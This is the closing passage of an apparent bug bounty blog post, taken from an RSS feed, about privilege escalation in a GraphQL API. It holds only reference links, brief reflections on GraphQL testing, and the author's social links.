<p><strong>External Links :</strong></p>
<ul data-spread="false">
<li>
<p><a href="https://graphql.org/learn/introspection/" target="_blank" rel="noopener">Graphql</a></p>
</li>
<li>
<p><a href="https://owasp.org/www-project-graphql-security/" target="_blank" rel="noopener">Owasp-Graphql</a></p>
</li>
<li>
<p><a href="https://portswigger.net/burp" target="_blank" rel="noopener">Portswigger-Burp</a></p>
</li>
<li><a href="https://medium.com/@hackersatty/privilege-escalation-in-graphql-exploiting-finance-role-token-to-access-admin-data-part-1-7a017a7aeb89" target="_blank" rel="noopener">Privilege Escalation</a></li>
</ul>
<h2>Final Thoughts: Keep Hunting, Keep Learning</h2>
<p>This was one of my earliest critical bug bounty finds and taught me that <strong>Graphql</strong> <strong>APIs are one of the most vulnerable attack surfaces today</strong>. With tools like Swagger, Postman, and Burp Suite at your disposal, you don’t need to brute force—just observe and test logically.</p>
<p>🔍 <strong>Graphql API is more than headers and tokens—it&#8217;s about understanding how developers structure access and how attackers think. </strong></p>
<p>If you found this write-up helpful, feel free to connect with me on <a href="https://www.linkedin.com/in/hackersatty/" target="_blank" rel="noopener">LinkedIn</a> or follow my work on <a href="https://twitter.com/hackersatty" target="_blank" rel="noopener">Twitter</a>.</p>
<p>Until next time, stay curious and stay secure! 🔐</p>
<p>

</p>
<p></p>]]></content:encoded>
					
					<wfw:commentRss>https://hackersatty.com/privilege-escalation-graphql/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">228</post-id>	</item>
	</channel>
</rss>
